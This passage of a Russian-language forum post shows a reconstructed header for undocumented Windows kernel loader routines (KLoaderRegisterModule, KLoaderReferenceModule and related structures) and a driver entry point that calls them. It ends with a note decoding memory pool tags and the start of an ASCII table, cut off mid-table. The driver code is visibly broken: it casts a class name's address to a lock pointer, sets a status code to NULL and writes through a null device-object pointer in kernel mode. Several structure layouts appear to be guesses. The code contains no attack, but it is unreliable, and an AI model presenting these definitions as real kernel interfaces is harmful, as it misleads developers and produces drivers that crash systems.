<span class="co2">#define SHARED_MEMORY_ALLOC_DURATION_HISTOGRAM_NUM_INTERVALS &nbsp; &nbsp;(L&quot;SharedMemoryAllocationDurationHistogramNumIntervals&quot;);</span>
<span class="co2">#define SHARED_MEMORY_ALLOC_DURATION_HISTOGRAM_INTERVAL_LENGTH &nbsp;(L&quot;SharedMemoryAllocationDurationHistogramIntervalLength&quot;);</span>
&nbsp;
&nbsp;
DECLARE_HANDLE<span class="br0">&#40;</span>KLOADER_MODULE_REFERENCE<span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw4">typedef</span> KLOADER_MODULE_REFERENCE<span class="sy2">*</span> PKLOADER_MODULE_REFERENCE<span class="sy4">;</span>
&nbsp;
&nbsp;
<span class="kw4">typedef</span> <span class="kw2">enum</span> _PAUSE_OR_RESTART <span class="br0">&#123;</span>
&nbsp; &nbsp; DatapathPaused <span class="sy1">=</span> <span class="nu0">0</span>,
&nbsp; &nbsp; DatapathRunning <span class="sy1">=</span> <span class="nu0">1</span>
<span class="br0">&#125;</span> PAUSE_OR_RESTART, <span class="sy2">*</span> PPAUSE_OR_RESTART<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw2">enum</span> _EXECUTION_CONTEXT_FLAGS <span class="br0">&#123;</span>
&nbsp; &nbsp; ExecutionContextFlagNone <span class="sy1">=</span> <span class="nu0">0</span>,
&nbsp; &nbsp; ExecutionContextFlagRunDpcForFirstLoop <span class="sy1">=</span> <span class="nu0">1</span>,
&nbsp; &nbsp; ExecutionContextFlagRunWorkerThreadAtDispatch <span class="sy1">=</span> <span class="nu0">2</span>,
&nbsp; &nbsp; ExecutionContextFlagTryExtendMaxTimeAtDispatch <span class="sy1">=</span> <span class="nu0">4</span>
<span class="br0">&#125;</span> EXECUTION_CONTEXT_FLAGS, <span class="sy2">*</span> PEXECUTION_CONTEXT_FLAGS<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw2">enum</span> _CONFIG_KNOB_NAMESPACE_TYPE <span class="br0">&#123;</span>
&nbsp; &nbsp; ConfigKnobNamespaceNdisGlobal <span class="sy1">=</span> <span class="nu0">0</span>,
&nbsp; &nbsp; ConfigKnobNamespaceNetworkInterface <span class="sy1">=</span> <span class="nu0">1</span>,
&nbsp; &nbsp; ConfigKnobNamespaceExecutionContext <span class="sy1">=</span> <span class="nu0">2</span>
<span class="br0">&#125;</span> CONFIG_KNOB_NAMESPACE_TYPE, <span class="sy2">*</span> PCONFIG_KNOB_NAMESPACE_TYPE<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw2">enum</span> _KLOCK_HOLDER <span class="br0">&#123;</span>
&nbsp; &nbsp; Unlocked <span class="sy1">=</span> <span class="nu0">0</span>,
&nbsp; &nbsp; Shared <span class="sy1">=</span> <span class="nu0">1</span>,
&nbsp; &nbsp; Exclusive <span class="sy1">=</span> <span class="nu0">2</span>
<span class="br0">&#125;</span> KLOCK_HOLDER, <span class="sy2">*</span> PKLOCK_HOLDER<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw2">enum</span> _CONFIG_KNOB_FLAG <span class="br0">&#123;</span>
&nbsp; &nbsp; OnlyUpdateOnceAtBoot <span class="sy1">=</span> <span class="nu0">0</span>,
&nbsp; &nbsp; Uint32Datatype <span class="sy1">=</span> <span class="nu0">0</span>,
&nbsp; &nbsp; BooleanDatatype <span class="sy1">=</span> <span class="nu0">2</span>,
&nbsp; &nbsp; Uint64Datatype <span class="sy1">=</span> <span class="nu0">4</span>,
&nbsp; &nbsp; AllowDynamicUpdate <span class="sy1">=</span> <span class="nu0">32</span>,
&nbsp; &nbsp; MustBePowerOfTwo <span class="sy1">=</span> <span class="nu0">64</span>
<span class="br0">&#125;</span> CONFIG_KNOB_FLAG, <span class="sy2">*</span> PCONFIG_KNOB_FLAG<span class="sy4">;</span>
&nbsp;
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _CONFIG_KNOB_NAMESPACE <span class="br0">&#123;</span>
&nbsp; &nbsp; CONFIG_KNOB_NAMESPACE_TYPE NamespaceType<span class="sy4">;</span>
&nbsp; &nbsp; GUID ObjectId<span class="sy4">;</span>
<span class="br0">&#125;</span> CONFIG_KNOB_NAMESPACE, <span class="sy2">*</span> PCONFIG_KNOB_NAMESPACE<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _EXECUTION_CONTEXT_WORK_UNIT_KNOBS <span class="br0">&#123;</span>
&nbsp; &nbsp; ULONG AtPassive<span class="sy4">;</span>
&nbsp; &nbsp; ULONG AtDispatch<span class="sy4">;</span>
<span class="br0">&#125;</span> EXECUTION_CONTEXT_WORK_UNIT_KNOBS, <span class="sy2">*</span> PEXECUTION_CONTEXT_WORK_UNIT_KNOBS<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _EXECUTION_CONTEXT_RUNTIME_KNOBS <span class="br0">&#123;</span>
&nbsp; &nbsp; ULONG Size<span class="sy4">;</span>
&nbsp; &nbsp; EXECUTION_CONTEXT_FLAGS Flags<span class="sy4">;</span>
&nbsp; &nbsp; ULONG MaxTimeAtDispatch<span class="sy4">;</span>
&nbsp; &nbsp; ULONG DispatchTimeWarning<span class="sy4">;</span>
&nbsp; &nbsp; ULONG DispatchTimeWarningInterval<span class="sy4">;</span>
&nbsp; &nbsp; ULONG DpcWatchdogTimerThreshold<span class="sy4">;</span>
&nbsp; &nbsp; ULONG WorkerThreadPriority<span class="sy4">;</span>
&nbsp; &nbsp; EXECUTION_CONTEXT_WORK_UNIT_KNOBS MaxPacketsSend<span class="sy4">;</span>
&nbsp; &nbsp; EXECUTION_CONTEXT_WORK_UNIT_KNOBS MaxPacketsSendComplete<span class="sy4">;</span>
&nbsp; &nbsp; EXECUTION_CONTEXT_WORK_UNIT_KNOBS MaxPacketsReceive<span class="sy4">;</span>
&nbsp; &nbsp; EXECUTION_CONTEXT_WORK_UNIT_KNOBS MaxPacketsReceiveComplete<span class="sy4">;</span>
<span class="br0">&#125;</span> EXECUTION_CONTEXT_RUNTIME_KNOBS, <span class="sy2">*</span> PEXECUTION_CONTEXT_RUNTIME_KNOBS<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _KREG_KEY <span class="br0">&#123;</span>
&nbsp; &nbsp; PVOID ptr<span class="sy4">;</span>
<span class="br0">&#125;</span> KREG_KEY, <span class="sy2">*</span> PKREG_KEY<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _KARRAY <span class="br0">&#123;</span>
&nbsp; &nbsp; ULONG bufferSize<span class="sy4">;</span>
&nbsp; &nbsp; ULONG numElements<span class="sy4">;</span>
&nbsp; &nbsp; PVOID _p<span class="sy4">;</span>
<span class="br0">&#125;</span> KARRAY, <span class="sy2">*</span> PKARRAY<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _KCRITICAL_REGION <span class="br0">&#123;</span>
&nbsp; &nbsp; BOOLEAN Entered<span class="sy4">;</span>
<span class="br0">&#125;</span> KCRITICAL_REGION, <span class="sy2">*</span> PKCRITICAL_REGION<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _BIND_STATE <span class="br0">&#123;</span>
&nbsp; &nbsp; PVOID Miniport<span class="sy4">;</span>
&nbsp; &nbsp; BOOLEAN AllowBindDespiteMandatory<span class="sy4">;</span>
&nbsp; &nbsp; BOOLEAN PretendBindingActive<span class="sy4">;</span>
&nbsp; &nbsp; BOOLEAN NeedsPauseAction<span class="sy4">;</span>
&nbsp; &nbsp; PVOID AdditionalContext<span class="sy4">;</span>
&nbsp; &nbsp; ULONG LastErrorCode<span class="sy4">;</span>
&nbsp; &nbsp; ULONG bindSources<span class="sy4">;</span>
&nbsp; &nbsp; ULONG unbindReasons<span class="sy4">;</span>
&nbsp; &nbsp; ULONG pauseReasons<span class="sy4">;</span>
&nbsp; &nbsp; PAUSE_OR_RESTART actualPauseState<span class="sy4">;</span>
&nbsp; &nbsp; KARRAY bindContext<span class="sy4">;</span>
<span class="br0">&#125;</span> BIND_STATE, <span class="sy2">*</span> PBIND_STATE<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _KSPIN_LOCK_2 <span class="br0">&#123;</span>
&nbsp; &nbsp; KARRAY Protocols<span class="sy4">;</span>
&nbsp; &nbsp; KARRAY Filters<span class="sy4">;</span>
&nbsp; &nbsp; BIND_STATE Miniport<span class="sy4">;</span>
&nbsp; &nbsp; ULONG ChangeEpoch<span class="sy4">;</span>
<span class="br0">&#125;</span> KSPIN_LOCK_2, <span class="sy2">*</span> PKSPIN_LOCK_2<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _KACQUIRE_SPIN_LOCK <span class="br0">&#123;</span>
&nbsp; &nbsp; KIRQL oldIrql<span class="sy4">;</span>
&nbsp; &nbsp; KSPIN_LOCK_2 lock<span class="sy4">;</span> &nbsp;<span class="co1">// or KSPIN_LOCK from ntddk.h</span>
<span class="br0">&#125;</span> KACQUIRE_SPIN_LOCK, <span class="sy2">*</span> PKACQUIRE_SPIN_LOCK<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _KPUSH_LOCK <span class="br0">&#123;</span>
&nbsp; &nbsp; EX_PUSH_LOCK ExPushLock<span class="sy4">;</span> <span class="co1">// or EX_PUSH_LOCK from ntos.h</span>
<span class="br0">&#125;</span> KPUSH_LOCK, <span class="sy2">*</span> PKPUSH_LOCK<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _KNOB_DESCRIPTOR <span class="br0">&#123;</span>
&nbsp; &nbsp; LPCTSTR Name<span class="sy4">;</span> &nbsp; <span class="co1">// SHARED_MEMORY_ALLOC_DURATION_HISTOGRAM_</span>
&nbsp; &nbsp; PVOID Value<span class="sy4">;</span>
&nbsp; &nbsp; ULONG_PTR DefaultValue<span class="sy4">;</span>
&nbsp; &nbsp; CONFIG_KNOB_FLAG Flags<span class="sy4">;</span>
&nbsp; &nbsp; ULONG_PTR MinimumValue<span class="sy4">;</span>
&nbsp; &nbsp; ULONG_PTR MaximumValue<span class="sy4">;</span>
<span class="br0">&#125;</span> KNOB_DESCRIPTOR, <span class="sy2">*</span> PKNOB_DESCRIPTOR<span class="sy4">;</span>
&nbsp;
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _KLOADER_MODULE_CHARACTERISTICS <span class="br0">&#123;</span>
&nbsp; &nbsp; DRIVER_OBJECT driverObject<span class="sy4">;</span>
&nbsp; &nbsp; CONFIG_KNOB_NAMESPACE id<span class="sy4">;</span>
&nbsp; &nbsp; LIST_ENTRY globalLinkage<span class="sy4">;</span>
&nbsp; &nbsp; LIST_ENTRY collectionList<span class="sy4">;</span>
&nbsp; &nbsp; KPUSH_LOCK lock<span class="sy4">;</span>
<span class="br0">&#125;</span> KLOADER_MODULE_CHARACTERISTICS, <span class="sy2">*</span> PKLOADER_MODULE_CHARACTERISTICS<span class="sy4">;</span>
&nbsp;
<span class="kw4">typedef</span> <span class="kw4">struct</span> _KLOADER_REFERENCE_MODULE_CONFIG <span class="br0">&#123;</span>
&nbsp; &nbsp; KLOCK_HOLDER State<span class="sy4">;</span>
&nbsp; &nbsp; PKPUSH_LOCK Lock<span class="sy4">;</span>
&nbsp; &nbsp; KCRITICAL_REGION Region<span class="sy4">;</span>
<span class="br0">&#125;</span> KLOADER_REFERENCE_MODULE_CONFIG, <span class="sy2">*</span> PKLOADER_REFERENCE_MODULE_CONFIG<span class="sy4">;</span>
&nbsp;
&nbsp;
<span class="kw2">class</span> KPushLockManualConstruct <span class="br0">&#123;</span>
<span class="kw2">public</span><span class="sy4">:</span>
&nbsp; &nbsp; <span class="kw4">void</span> Initialize<span class="br0">&#40;</span><span class="kw4">void</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
<span class="kw4">void</span> AcquireExclusive<span class="br0">&#40;</span>PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; PKPUSH_LOCK Lock<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; KeEnterCriticalRegion<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; Lock <span class="sy1">=</span> pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Lock<span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Region.<span class="me1">Entered</span> <span class="sy1">=</span> TRUE<span class="sy4">;</span>
&nbsp; &nbsp; ExAcquirePushLockExclusiveEx<span class="br0">&#40;</span><span class="sy3">&amp;</span>Lock<span class="sy2">-</span><span class="sy1">&gt;</span>ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>State <span class="sy1">=</span> Exclusive<span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="kw4">void</span> AcquireShared<span class="br0">&#40;</span>PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; PKPUSH_LOCK Lock<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; KeEnterCriticalRegion<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; Lock <span class="sy1">=</span> pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Lock<span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Region.<span class="me1">Entered</span> <span class="sy1">=</span> TRUE<span class="sy4">;</span>
&nbsp; &nbsp; ExAcquirePushLockSharedEx<span class="br0">&#40;</span><span class="sy3">&amp;</span>Lock<span class="sy2">-</span><span class="sy1">&gt;</span>ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>State <span class="sy1">=</span> Shared<span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="kw4">void</span> ReleaseExclusive<span class="br0">&#40;</span>PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; ExReleasePushLockExclusiveEx<span class="br0">&#40;</span><span class="sy3">&amp;</span>pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Lock<span class="sy2">-</span><span class="sy1">&gt;</span>ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>State <span class="sy1">=</span> Unlocked<span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Region.<span class="me1">Entered</span> <span class="sy1">=</span> FALSE<span class="sy4">;</span>
&nbsp; &nbsp; KeLeaveCriticalRegion<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="kw4">void</span> ReleaseShared<span class="br0">&#40;</span>PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; ExReleasePushLockSharedEx<span class="br0">&#40;</span><span class="sy3">&amp;</span>pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Lock<span class="sy2">-</span><span class="sy1">&gt;</span>ExPushLock, EX_DEFAULT_PUSH_LOCK_FLAGS<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>State <span class="sy1">=</span> Unlocked<span class="sy4">;</span>
&nbsp; &nbsp; pKModuleConfig<span class="sy2">-</span><span class="sy1">&gt;</span>Region.<span class="me1">Entered</span> <span class="sy1">=</span> FALSE<span class="sy4">;</span>
&nbsp; &nbsp; KeLeaveCriticalRegion<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span>
&nbsp;
&nbsp;
_IRQL_requires_max_<span class="br0">&#40;</span>PASSIVE_LEVEL<span class="br0">&#41;</span>
NTKERNELAPI
NTSTATUS
FASTCALL
KLoaderRegisterModule<span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ PDRIVER_OBJECT pDriverObject,
&nbsp; &nbsp; _In_ PUNICODE_STRING pRegistryPath,
&nbsp; &nbsp; _In_opt_ PVOID arg3,
&nbsp; &nbsp; _In_ PKLOADER_MODULE_CHARACTERISTICS pKModuleCharacts<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
_IRQL_requires_max_<span class="br0">&#40;</span>PASSIVE_LEVEL<span class="br0">&#41;</span>
NTKERNELAPI
NTSTATUS
FASTCALL
KLoaderReferenceModule<span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig,
&nbsp; &nbsp; _Out_ PKLOADER_MODULE_REFERENCE<span class="sy2">*</span> ppKModule<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
_IRQL_requires_max_<span class="br0">&#40;</span>PASSIVE_LEVEL<span class="br0">&#41;</span>
NTKERNELAPI
NTSTATUS
FASTCALL
KLoaderDereferenceModule<span class="br0">&#40;</span>
&nbsp; &nbsp; _In_ PKLOADER_MODULE_REFERENCE pKModule<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
<span class="co2">#endif // _KLOADERDEF_H_</span></pre></td></tr></table></div></td></tr></tbody></table></div>Файл Source.cpp<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="10484695"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="10484695" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
</pre></td><td class="de1"><pre class="de1"><span class="co2">#include &quot;KLoaderDef.h&quot;</span>
&nbsp;
&nbsp;
NTSTATUS DriverEntry<span class="br0">&#40;</span>_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; NTSTATUS Status <span class="sy1">=</span> <span class="kw2">NULL</span>, ModuleDevice <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp; &nbsp; PKLOADER_MODULE_REFERENCE pKModule <span class="sy1">=</span> <span class="kw2">nullptr</span><span class="sy4">;</span>
&nbsp; &nbsp; KLOADER_REFERENCE_MODULE_CONFIG KModuleConfig<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; KModuleConfig.<span class="me1">State</span> <span class="sy1">=</span> Unlocked<span class="sy4">;</span>
&nbsp; &nbsp; KModuleConfig.<span class="me1">Lock</span> <span class="sy1">=</span> <span class="br0">&#40;</span>PKPUSH_LOCK<span class="br0">&#41;</span><span class="sy3">&amp;</span>KPushLockManualConstruct<span class="sy4">;</span>
&nbsp; &nbsp; KModuleConfig.<span class="me1">Region</span>.<span class="me1">Entered</span> <span class="sy1">=</span> FALSE<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; AcquireExclusive<span class="br0">&#40;</span><span class="sy3">&amp;</span>KModuleConfig<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; Status <span class="sy1">=</span> KLoaderReferenceModule<span class="br0">&#40;</span><span class="sy3">&amp;</span>KModuleConfig, <span class="sy3">&amp;</span>pKModule<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; ReleaseExclusive<span class="br0">&#40;</span><span class="sy3">&amp;</span>KModuleConfig<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="co1">//=========================================================================================</span>
&nbsp;
&nbsp; &nbsp; UNICODE_STRING DestinationString<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; KLOADER_MODULE_CHARACTERISTICS KModuleCharacts<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; KModuleCharacts.<span class="me1">id</span>.<span class="me1">NamespaceType</span> <span class="sy1">=</span> ConfigKnobNamespaceExecutionContext<span class="sy4">;</span>
&nbsp; &nbsp; 
&nbsp; &nbsp; RtlInitUnicodeString<span class="br0">&#40;</span><span class="sy3">&amp;</span>DestinationString, <span class="co3">L</span><span class="st0">&quot;WmiTraceMessage&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; KModuleCharacts.<span class="me1">driverObject</span>.<span class="me1">DeviceObject</span><span class="sy2">-</span><span class="sy1">&gt;</span>Queue.<span class="me1">Wcb</span>.<span class="me1">DeviceObject</span> <span class="sy1">=</span>
&nbsp; &nbsp; &nbsp; &nbsp; MmGetSystemRoutineAddress<span class="br0">&#40;</span><span class="sy3">&amp;</span>DestinationString<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; KModuleConfig.<span class="me1">State</span> <span class="sy1">=</span> Unlocked<span class="sy4">;</span>
&nbsp; &nbsp; KModuleConfig.<span class="me1">Lock</span> <span class="sy1">=</span> <span class="br0">&#40;</span>PKPUSH_LOCK<span class="br0">&#41;</span><span class="sy3">&amp;</span>KPushLockManualConstruct<span class="sy4">;</span>
&nbsp; &nbsp; KModuleConfig.<span class="me1">Region</span>.<span class="me1">Entered</span> <span class="sy1">=</span> FALSE<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; AcquireExclusive<span class="br0">&#40;</span><span class="sy3">&amp;</span>KModuleConfig<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; ModuleDevice <span class="sy1">=</span> KLoaderRegisterModule<span class="br0">&#40;</span>DriverObject, RegistryPath, <span class="kw2">nullptr</span>, <span class="sy3">&amp;</span>KModuleCharacts<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; ReleaseExclusive<span class="br0">&#40;</span><span class="sy3">&amp;</span>KModuleConfig<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="co1">//=========================================================================================</span>
&nbsp;
&nbsp; &nbsp; KModuleConfig.<span class="me1">State</span> <span class="sy1">=</span> Unlocked<span class="sy4">;</span>
&nbsp; &nbsp; KModuleConfig.<span class="me1">Lock</span> <span class="sy1">=</span> <span class="br0">&#40;</span>PKPUSH_LOCK<span class="br0">&#41;</span><span class="sy3">&amp;</span>KPushLockManualConstruct<span class="sy4">;</span>
&nbsp; &nbsp; KModuleConfig.<span class="me1">Region</span>.<span class="me1">Entered</span> <span class="sy1">=</span> FALSE<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; AcquireExclusive<span class="br0">&#40;</span><span class="sy3">&amp;</span>KModuleConfig<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; Status <span class="sy1">=</span> KLoaderDereferenceModule<span class="br0">&#40;</span>pKModule<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; ReleaseExclusive<span class="br0">&#40;</span><span class="sy3">&amp;</span>KModuleConfig<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div><br />
<br />
Небольшой бонус по тегам пула памяти :)<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="459111053"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="459111053" style="height: 78px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
</pre></td><td class="de1"><pre class="de1">PoolWithTag <span class="sy1">=</span> ExAllocatePoolWithTag<span class="br0">&#40;</span>PagedPool, <span class="nu12">0x20</span>, <span class="nu12">0x62694C4E</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
ExFreePoolWithTag<span class="br0">&#40;</span>v24, <span class="nu12">0x7274534B</span><span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Идём на MSDN <a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-exallocatepoolwithtag" target="_blank" title="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-exallocatepoolwithtag">ExAllocatePoolWithTag</a> и смотрим как определяется тег<br />

<table width="95%"  class="bbcode_maincontainer"><tr><td>
	<div class="bbcode_container">
	  <div class="bbcode_quote">
	    <div class="btbtbt">
		<div class="quote_container">
	      	<div class="bbcode_quote_container"></div>
	       	<div class="bbcode_postedby">
	         	
	        </div>
	        <div class="message">The pool tag to use for the allocated memory. Specify the pool tag as a non-zero character literal of one to to four characters delimited by single quotation marks (for example, 'Tag1'). The string is usually specified in reverse order (for example, '1gaT'). Each ASCII character in the tag must be a value in the range 0x20 (space) to 0x7E (tilde). Each allocation code path should use a unique pool tag to help debuggers and verifiers identify the code path.</div>
	      </div>
			</div> 
		</div>
	</div>
</td></tr></table>Берём таблицу символов ASCII<br />
<div class="codeblock"><table class="unknown"><thead><tr><td colspan="2" id="783427591"  class="head">Code</td></tr></thead><tbody><tr class="li1"><td><div id="783427591" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
</pre></td><td class="de1"><pre class="de1">Char &nbsp;Dec &nbsp;Oct &nbsp;Hex | Char &nbsp;Dec &nbsp;Oct &nbsp;Hex | Char &nbsp;Dec &nbsp;Oct &nbsp;Hex | Char Dec &nbsp;Oct &nbsp; Hex
-------------------------------------------------------------------------------------
<span class="br0">&#40;</span>nul<span class="br0">&#41;</span> &nbsp; <span class="nu0">0</span> 0000 0x00 | <span class="br0">&#40;</span>sp<span class="br0">&#41;</span> &nbsp; <span class="nu0">32</span> 0040 0x20 | @ &nbsp; &nbsp; &nbsp;<span class="nu0">64</span> 0100 0x40 | ` &nbsp; &nbsp; &nbsp;<span class="nu0">96</span> 0140 0x60
<span class="br0">&#40;</span>soh<span class="br0">&#41;</span> &nbsp; <span class="nu0">1</span> 0001 0x01 | ! &nbsp; &nbsp; &nbsp;<span class="nu0">33</span> 0041 0x21 | A &nbsp; &nbsp; &nbsp;<span class="nu0">65</span> 0101 0x41 | a &nbsp; &nbsp; &nbsp;<span class="nu0">97</span> 0141 0x61
<span class="br0">&#40;</span>stx<span class="br0">&#41;</span> &nbsp; <span class="nu0">2</span> 0002 0x02 | &quot; &nbsp; &nbsp; &nbsp;<span class="nu0">34</span> 0042 0x22 | B &nbsp; &nbsp; &nbsp;<span class="nu0">66</span> 0102 0x42 | b &nbsp; &nbsp; &nbsp;<span class="nu0">98</span> 0142 0x62
<span class="br0">&#40;</span>etx<span class="br0">&#41;</span> &nbsp; <span class="nu0">3</span> 0003 0x03 | # &nbsp; &nbsp; &nbsp;<span class="nu0">35</span> 0043 0x23 | C &nbsp; &nbsp; &nbsp;<span class="nu0">67</span> 0103 0x43 | c &nbsp; &nbsp; &nbsp;<span class="nu0">99</span> 0143 0x63
<span class="br0">&#40;</span>eot<span class="br0">&#41;</span> &nbsp; <span class="nu0">4</span> 0004 0x04 | $ &nbsp; &nbsp; &nbsp;<span class="nu0">36</span> 0044 0x24 | D &nbsp; &nbsp; &nbsp;<span class="nu0">68</span> 0104 0x44 | d &nbsp; &nbsp; <span class="nu0">100</span> 0144 0x64
<span class="br0">&#40;</span>enq<span class="br0">&#41;</span> &nbsp; <span class="nu0">5</span> 0005 0x05 | % &nbsp; &nbsp; &nbsp;<span class="nu0">37</span> 0045 0x25 | E &nbsp; &nbsp; &nbsp;<span class="nu0">69</span> 0105 0x45 | e &nbsp; &nbsp; <span class="nu0">101</span> 0145 0x65
<span class="br0">&#40;</span>ack<span class="br0">&#41;</span> &nbsp; <span class="nu0">6</span> 0006 0x06 | &amp; &nbsp; &nbsp; &nbsp;<span class="nu0">38</span> 0046 0x26 | F &nbsp; &nbsp; &nbsp;<span class="nu0">70</span> 0106 0x46 | f &nbsp; &nbsp; <span class="nu0">102</span> 0146 0x66
<span class="br0">&#40;</span>bel<span class="br0">&#41;</span> &nbsp; <span class="nu0">7</span> 0007 0x07 | ' &nbsp; &nbsp; &nbsp;<span class="nu0">39</span> 0047 0x27 | G &nbsp; &nbsp; &nbsp;<span class="nu0">71</span> 0107 0x47 | g &nbsp; &nbsp; <span class="nu0">103</span> 0147 0x67
